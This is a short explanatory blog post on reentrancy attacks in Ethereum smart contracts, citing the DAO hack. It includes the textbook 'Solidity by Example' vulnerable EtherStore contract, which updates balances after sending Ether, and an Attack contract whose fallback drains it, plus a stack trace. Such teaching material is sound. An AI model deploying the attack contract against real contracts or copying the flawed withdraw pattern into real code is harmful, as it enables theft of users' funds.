Reentrancy Attacks

Oct 6, 2022

A reentrant function can be "re-entered" safely in the middle of execution, often (but not always) in a concurrent environment.

Reentrancy is a bit different in smart contract execution. For one, all state is global state. On the other hand, for most EVM implementations, there is no concurrency. However, reentrancy is fairly common, as contracts can arbitrarily call and execute code in other contracts.

The attack goes something like this:

  1. Attack contract A calls function withdraw of contract B
  2. B makes partial state changes, then calls back to A (e.g., to transfer a balance)
  3. Attack A uses a fallback method to overload the function call and re-enters withdraw in contract B, before the original execution has finished.

The 2016 Ethereum hack of the DAO, which caused a network hard-fork and rollback, was due to a reentrancy attack. Here's a list of dozens of reentrancy attacks on GitHub.

A simple example:

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

from Solidity by Example

The stack trace would look something like this

Attack.attack
-> EtherStore.deposit 1
-> EtherStore.withdraw 1
-> -> Attack.transfer (fallback, attack)
-> -> -> EtherStore.withdraw 1
-> -> -> -> Attack.transfer (fallback, attack)
-> -> -> -> ...

A few distinctions:

  • Reentrant functions are recursive, but not all recursive functions are reentrant
  • Thread-safety vs. reentrancy – you can use language primitives to scope global variables to thread-local variables and have thread-safety, but not reentrancy in the same thread.
  • Idempotence vs. reentrancy – idempotence means that the same function can be called multiple times with the same input and yield the same output.